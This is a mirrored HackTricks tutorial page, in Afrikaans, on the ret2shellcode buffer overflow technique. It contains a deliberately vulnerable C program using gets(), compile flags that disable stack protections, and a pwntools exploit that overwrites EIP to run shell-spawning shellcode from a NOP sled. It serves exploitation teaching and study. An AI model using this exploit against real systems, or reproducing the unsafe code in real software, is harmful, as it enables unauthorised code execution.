mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
108 lines
6.3 KiB
Markdown
108 lines
6.3 KiB
Markdown
|
# Ret2Shellcode
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Ander maniere om HackTricks te ondersteun:
|
||
|
|
||
|
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## Basiese Inligting
|
||
|
|
||
|
**Ret2shellcode** is 'n tegniek wat gebruik word in binêre uitbuiting waar 'n aanvaller shellcode na 'n kwesbare program se stapel skryf en dan die **Instruksie-aanwyser (IP)** of **Uitgebreide Instruksie-aanwyser (EIP)** wysig om na die ligging van hierdie shellcode te wys, wat veroorsaak dat dit uitgevoer word. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of arbitrêre opdragte op 'n teikensisteem uit te voer. Hier is 'n uiteensetting van die proses, insluitend 'n eenvoudige C-voorbeeld en hoe jy 'n ooreenstemmende uitbuiting met Python en **pwntools** kan skryf.
|
||
|
|
||
|
### C-voorbeeld: 'n Kwesbare Program
|
||
|
|
||
|
Laten ons begin met 'n eenvoudige voorbeeld van 'n kwesbare C-program:
|
||
|
```c
|
||
|
#include <stdio.h>
|
||
|
#include <string.h>
|
||
|
|
||
|
void vulnerable_function() {
|
||
|
char buffer[64];
|
||
|
gets(buffer); // Unsafe function that does not check for buffer overflow
|
||
|
}
|
||
|
|
||
|
int main() {
|
||
|
vulnerable_function();
|
||
|
printf("Returned safely\n");
|
||
|
return 0;
|
||
|
}
|
||
|
```
|
||
|
Hierdie program is vatbaar vir 'n buffer overflow as gevolg van die gebruik van die `gets()` funksie.
|
||
|
|
||
|
### Kompilasie
|
||
|
|
||
|
Om hierdie program te kompileer terwyl verskeie beskermings gedeaktiveer word (om 'n vatbare omgewing te simuleer), kan jy die volgende bevel gebruik:
|
||
|
```sh
|
||
|
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||
|
```
|
||
|
* `-fno-stack-protector`: Deaktiveer stapelbeskerming.
|
||
|
* `-z execstack`: Maak die stapel uitvoerbaar, wat nodig is vir die uitvoering van shellcode wat op die stapel gestoor word.
|
||
|
* `-no-pie`: Deaktiveer Posisioneel Onafhanklike Uitvoerbare, wat dit makliker maak om die geheue-adres te voorspel waar ons shellcode geleë sal wees.
|
||
|
* `-m32`: Kompileer die program as 'n 32-bis uitvoerbare, dikwels gebruik vir eenvoudigheid in uitbuitontwikkeling.
|
||
|
|
||
|
### Python Uitbuit met behulp van Pwntools
|
||
|
|
||
|
Hier is hoe jy 'n uitbuit in Python kan skryf met behulp van **pwntools** om 'n **ret2shellcode** aanval uit te voer:
|
||
|
```python
|
||
|
from pwn import *
|
||
|
|
||
|
# Set up the process and context
|
||
|
binary_path = './vulnerable'
|
||
|
p = process(binary_path)
|
||
|
context.binary = binary_path
|
||
|
context.arch = 'i386' # Specify the architecture
|
||
|
|
||
|
# Generate the shellcode
|
||
|
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
|
||
|
|
||
|
# Find the offset to EIP
|
||
|
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
|
||
|
|
||
|
# Prepare the payload
|
||
|
# The NOP slide helps to ensure that the execution flow hits the shellcode.
|
||
|
nop_slide = asm('nop') * (offset - len(shellcode))
|
||
|
payload = nop_slide + shellcode
|
||
|
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
|
||
|
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||
|
|
||
|
# Send the payload
|
||
|
p.sendline(payload)
|
||
|
p.interactive()
|
||
|
```
|
||
|
Hierdie skrip konstrueer 'n lading wat bestaan uit 'n **NOP-glybaan**, die **shellcode**, en dan oorskryf die **EIP** met die adres wat na die NOP-glybaan wys, om te verseker dat die shellcode uitgevoer word.
|
||
|
|
||
|
Die **NOP-glybaan** (`asm('nop')`) word gebruik om die kans te verhoog dat die uitvoering in ons shellcode "gly" ongeag die presiese adres. Pas die `p32()` argument aan na die beginadres van jou buffer plus 'n offset om in die NOP-glybaan te land.
|
||
|
|
||
|
## Beskermings
|
||
|
|
||
|
* [**ASLR**](../common-binary-protections/aslr.md) **moet gedeaktiveer word** sodat die adres betroubaar oor uitvoerings heen is, anders sal die adres waar die funksie gestoor word nie altyd dieselfde wees nie en sal jy 'n lek nodig hê om uit te vind waar die wenfunksie gelaai is.
|
||
|
* [**Stapelkanaries**](../common-binary-protections/stack-canaries.md) moet ook gedeaktiveer word, anders sal die gekompromitteerde EIP terugkeeradres nooit gevolg word nie.
|
||
|
* [**NX**](../common-binary-protections/no-exec-nx.md) **stapel** beskerming sal die uitvoering van die shellcode binne die stapel voorkom omdat daardie gebied nie uitvoerbaar sal wees nie.
|
||
|
|
||
|
## Ander Voorbeelde
|
||
|
|
||
|
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Ander maniere om HackTricks te ondersteun:
|
||
|
|
||
|
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||
|
|
||
|
</details>
|